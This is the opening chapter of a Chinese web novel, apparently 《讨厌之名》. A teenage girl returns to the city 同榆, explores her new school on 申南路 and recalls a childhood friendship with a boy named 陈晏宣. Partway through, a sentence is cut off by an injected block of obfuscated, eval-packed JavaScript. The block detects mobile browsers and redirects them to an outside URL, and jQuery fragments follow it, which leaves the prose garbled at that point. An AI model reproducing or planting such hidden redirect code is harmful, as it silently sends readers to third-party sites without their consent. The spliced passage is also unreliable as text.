1. 重逢.

作品:《讨厌之名

    八月尾,夏天的暑气正盛,地处南方的同榆更是热得难耐。几乎要将人吞噬的火气包裹着整座城市,压使人们躲在水泥楼房中闭门不出,贪婪地在四方天地里享受着幸存的凉爽。


    圆方巷里深处,两层漂亮的小洋楼装饰得当,在其他楼房建筑中并不突兀,走近看却也亮眼。本看着有了些年头的砖瓦,经过了油漆的粉饰又焕然一新。


    在前几天经过忙里忙外的搬运后,今天终于成功落地,恢复了宁静,与巷子祥和的氛围融为一体。


    圆方巷原先算是同榆中心地界,但在后面迎来改革开放浪潮后,被作为主要发展区的繁诚区高楼崛起,向四周辐射,形成了强势的经济网络。渐渐的,圆方巷这边也就没落了。


    但它古香古色的风格却仍然吸引着不少人前来,他们或许没有太过令人发指的经济实力,能豪掷千金在市中心买房。但胜在经济基础扎实,能做些小本生意让家人过上还不错的日子。


    这其中就包括沈寓的父母。


    在十几年前,沈父沈母带着尚还年幼的沈寓定居在同榆开始打拼。几年后生意渐渐起来,工作就更加忙碌了,各处奔波时常不着家,无法兼顾女儿的成长,只能将其送回临昱老家,托外祖家照顾。近几年稳定下来,才又将沈寓接回来,在这边完成学业。


    房间里的冷气打得很足,床上的少女卷着一层空调被望着飘窗发呆,思绪也跟着被隔绝在外面的热气到处漂浮。


    五岁的初遇,八岁的暂离,再到现在十五岁的重逢。从当初打工时候的筒子楼,到如今的洋楼房,十年过去了,说不唏嘘,是不可能的。


    房门轻敲,门外传来女人温和的声音。


    “寓寓,醒了吗?”


    沈寓思绪被打乱,意识过来是她妈孟梧女士。于是从床上轻翻下床,边嘴里回应着“睡醒了,来了妈”边去门口开门。


    墙侧的挂钟指向十一点,已经差不多中午了,孟梧应该是特地赶回来陪她吃饭的。


    看到沈寓,孟梧先下意识地捧着她的脸亲了亲:“怎么样?在这边住着还习惯吗?你爸爸有点忙,所以妈妈先回来了。”


    沈寓是沈丞和孟梧独生的孩子,从小都是当宝一般捧在手里。刚做起生意时即使再忙,也不肯假手他人将女儿送回去照顾,一直都是亲力亲为。后面实在力不从心,送回去后也从没断过联系。除了每日电话煲粥,只要长假得空,也会马不停蹄回去陪陪女儿。


    也因为这样,沈寓从来没觉得自己是留守儿童。


    但由于陪伴的时间还是有些少,夫妻二人自始自终还是对这个女儿常觉愧疚。


    沈寓对她妈妈这个行为见怪不怪,伸了伸懒腰道,“嗯,还可以。就是刚回到这边,感觉既陌生又熟悉的。”


    “有这种感觉肯定是必然的。”孟梧揽着沈寓的肩膀,边带着她下楼边安慰着,“没事,再待个十天半个月就又熟悉了。这半个月,妈妈都陪着你适应。”


    “对了,你顾阿姨帮你领回来的书你看见了吗?”


    沈寓下楼后盘腿坐在沙发上,精神还是有些恍惚。听见这话才回忆起摊在她桌子上的那堆书,随即点点头,“看见了。”


    她准备入学的实验附中虽然还没开学,但前几个星期就组织去拿新书和校服了。沈寓当时还在外婆家避暑,没赶回来,孟梧便只能拜托孩子同在实验的朋友帮忙拿一下。


    “过几天就开学了,你要去学校先看看吗?我看要不以后让彭叔接你上下学吧,这样也方便。”


    沈寓摇摇头,回绝了:“不用。彭叔不是要送你和爸爸吗?我自己坐地铁也行,圆方巷出去就是地铁口,挺近的。”


    这个年纪的孩子,总希望有些私人空间。


    实验离圆方巷并不太远,地铁下去坐个七站就到了。孟梧想了想,最后选择同意了。


    “那也行。实验附近你也熟,你还记得你小时候上的那个福义小学吗?实验附中也在那条路上。”


    那条路?


    申南路。


    沈寓的记忆若水沫般被这句话聚起,翻天倒海地朝她涌来,如浪潮逐击海岸礁石。记忆中的人和事,已经被岁月将轮廓模糊起来,所有熟悉的事物,也都伴随着搬迁而消逝。


    “说起来,我记得之前你不是有几个玩的比较好的朋友们吗?还有联系吗?”


    沈寓听到这话不由苦笑,“妈,你们带我走的时候我才几岁啊。没手机没通讯工具的,咋联系啊?”


    厨房里忙活的孟梧愣了愣,反应过来:“也是,那个时候你才八岁。”


    那会儿孟梧和沈丞还没萌发出自己打拼创业的念头,当时还在给人打工,常常要很晚才能来接她。


    福义小学五点就放学了,当夜幕降临时,学校黑灯瞎火,找不出几个人影。夫妻俩要么拜托同事帮忙接,要么就只能等忙完后姗姗来迟。


    早的时候是六七点,再晚点,就有可能是八九点了。


    当时五六岁的沈寓只能跟保安室里的保安爷爷挤挤,小小的一个人儿,形单影只的。但后来不知道从什么时候开始,她的身边有了一个陪伴的小男孩。


    对这个孩子,孟梧没什么印象了。只模模糊糊记得这孩子挺冷的,话不多,跟他打招呼时也只是淡淡地回应几句,但是似乎女儿跟他关系不错。


    沈寓趿拉着拖鞋,从沙发缓缓移动到餐桌旁,刚一沾凳子就葛优躺下来。


    俨然一副对生活失去希望的样子。


    孟梧从厨房端菜出来,看到这番景象,不由轻拍了一下沈寓肩膀,“真是,坐没坐样。看你这几天在家里待着也腻,趁着离开学还有几天,出去逛逛散散心。”想了想后又改口,“算了,也别过几天了,就今天下午吧。”


    “行。”


    沈寓边动筷子偷偷尝一块红烧里脊边应下。


    将近七八年没回来了,同榆这边的发展日新月异。虽说学校离这不远,但还是得摸摸路线提前探探路,这样总不至于刚去就抓瞎。


    *


    下午的热气延续着中午的炙热,沈寓在卧室里磨蹭了很久,差不多四点,才肯纡尊降贵地从冷气房中出来。


    七号线按往常来说是繁忙的,但今天正处假期,又热,来往的人就少了些。进列车后,沈寓随便找了个位置坐下,边微信和人聊着天,边注意地铁的站点。


    知了:“所以你现在是正在去学校的路上?”


    寓言:“是。”


    对方停留了很久才回复:“唉,沈叔孟姨也真是的,要把你接回去也不早说。中考结束突然给我当头一棒,我到现在都没缓过来。”


    知了:“我都不敢想没有你的高中我会怎么样。不太中了,我需要心理安慰。”


    屏幕对面的人叫章知之,沈寓发小,外婆家从小一起玩到大的。俩人住的地方离得近,年级相仿,在学校又是同学,一来二去就混得熟了起来。


    除了五岁到八岁那几年沈寓被接去同榆,两人从小到大就和两块牛皮糖黏在一块一样从没分开过。


    沈寓看到这话,打字的手指微微蜷缩了一下,随即又飞快地打下字,“没事,也就三年。高考后再聚也是一样的。你寓姐我这三年一有空就回去看你,行不行?”


    语气中虽有安慰之意,但不难看出当事人也是在故作坚强,显然也没有脱离出挚友离开的悲伤。


    知了:“……算了,懒得喷你。但不管你在学校交了多少朋友,都别忘了,我才是你的第一位。”


    女孩子之间总是莫名其妙地在意这些细节,别扭而委婉地表达自己的占有欲。言外之意是你可以交很多朋友,但我们两个,必须是第一好。


    沈寓被逗笑,回复道,“好,交了谁你在我心里都是第一位,行不行?”


    消息甫一发送出去,恰好这时列车提示申南站到了,沈寓跟章知之简单说了几句后便把手机随手放进防晒外套的口袋,顺着稀稀拉拉几个人一起走出去。


    电梯往上,景象逐渐开阔,出站口对着的就是申南路。道路延伸往前,起初是有点倾斜的小坡,再到后面的坦途大道,被两侧的樟树包围着,撒下一小片阴凉,一时看不到尽头。


    沈寓眸光动了动,迎面而来的风带起了脸旁的发梢,随着记忆一起翻飞。模糊不清的轮廓被眼前的实景重新塑造,描绘,再次在脑海里清晰起来。


    那些人和事也跟着真切起来。


    -喂,都回去了,你在这哭什么?


    小女孩背着个比自己大了些的书包,蜷缩在保安室的角落。借着点马路的灯光,将头埋进臂弯里,抽抽噎噎的,像只被人抛弃的小猫,看着可怜。


    身前只有过往的几辆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084938|179534||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    车和对面一些还开着的店铺,身后是已经熄灯的校园,割裂在两者之间。


    女孩子听到有声音,小心翼翼地从臂弯里抬头,泪眼朦胧,刚刚哭过的眼睛红了一圈。泪水糊了满脸,但依旧能看得出模样。


    五官小巧,粉雕玉琢的娃娃,是五六岁时的沈寓。


    面前的男孩逆着光站着,手里还拎着两本练习册,脸冷冷的,说出的话也没什么人情味。但在这个时候的沈寓听来,却像是冷清的环境中忽然有了烟火。


    女孩子缓了半天,吸了好几口气才把鼻尖的酸涩压下:“我、我在等我爸爸妈妈来接我。保安室的爷爷今天没开门,我进不去,只、只能在外面……”


    听到后面,小男孩好像已经知道发生了什么,淡淡地瞥了她一眼,没继续和她搭话,只是站在原地,将身子转过去。


    没走。


    他背对着沈寓,像是割裂的两个场景中乍然闯入的人,将她划进了一个安全地带。


    有些大的风被他遮挡住,垂在身子旁的练习册也跟着翻飞,留下绰约光影。


    两人一前一后就这样站着,不知道这么过了多久。但沈寓依稀记得,是等孟梧把她接走后,那个小男孩好像才离开的。


    也是从那以后,她开始认识了隔壁班的一个男生。整天黏在别人后面,像只叽叽喳喳的喜鹊。


    -“陈晏宣,你今天几点走啊?”


    -“陈晏宣,你中午吃了什么呀?”


    -“陈晏宣,你今天下午能不能陪我在学校玩过家家啊?我爸爸又要晚一点才能来接我。”


    -“陈晏宣,今天的作业你做了吗?教教我吧。”


    ……


    男孩起初不耐烦,总是赶她走。但那时候的沈寓却意外的坚定,一副不达目的不罢休的做派。吃午饭的时候要粘着他,回教室睡午觉的路上也要缠着他,平常上下课也要在人班门口等着。


    老师那会儿觉得好笑,时常打趣,“寓寓为什么总是去找陈晏宣啊?是因为他长得好看吗?”


    小小的沈寓义正言辞,掰起食指正经地摇摇头,“才不是呢。虽然他长得确实好看,但是他是一个特别好的人!我妈妈说了,要看人的内在,而不是长相。”


    老师们听完常常乐得合不拢嘴。


    再后面,当老师们再去留意这对小朋友时,那个像冰山一样,不爱搭理人的小男孩,不知道什么时候真的被捂化了。


    不再只是女孩单方面地在班级门口等他,男孩下课早时也会倚在走廊旁边漫不经心地等着。两人开始结伴去食堂吃午饭,再一起回到教室,分头去睡午觉。


    接着往后,二人的队伍壮大,加入了自称是男孩兄弟的孟云凡,就变成三人行了。


    三人的友谊异常坚固,孟云凡大大咧咧的性格和沈寓很合得来,叽叽喳喳的喜鹊又多加了一只。只不过一到下课,孟云凡的父母就循规蹈矩地来接了,无论风吹雨打绝不晚点。


    于是三人队在五点半后,又会自动恢复成二人行。但保安室里的桌子,潜移默化的,默认多了一个人留下来写作业。


    那个形单影只的小女孩,因为这些改变,似乎不再感到很孤单了。


    回忆像车轮一样滚动着,伴随着前移的步子,等沈寓反应过来时,才发现已经跟着导航不知不觉地到了目的地。


    校门口的墙上红砖黄字,“同榆实验中学”六个大字龙飞凤舞,迥劲有力。


    她跟门口的保安说了声,随后进到教学楼找教室的方位,确定好具体位置后又在校园里逛了逛。


    实验不算太大,分成了南区和北区。沈寓按着录取通知书上的指南跟着走了走,差不多就把学校摸索清楚了。


    等人从里面出来,已经差不多六点了。


    肚子有些饿,沈寓怕等回去的时候她就要饿晕了,当机立断给家里群聊发了条消息说晚上在外面吃。随后便开始在申南路上像条饿鬼一样飘荡,寻觅合适的落脚处。


    “老王云吞”


    探着头正左顾右盼的时候,那金光闪闪,恨不得闪瞎所有路过的人的眼的招牌猛然将她的视线吸引过去。


    这招牌,想不让人注意都难。


    这个店她以前没见过,应该是新开的。沈寓犹豫了会儿,最后还是郑重地决定把她的晚餐交由这个看着还不错的面馆。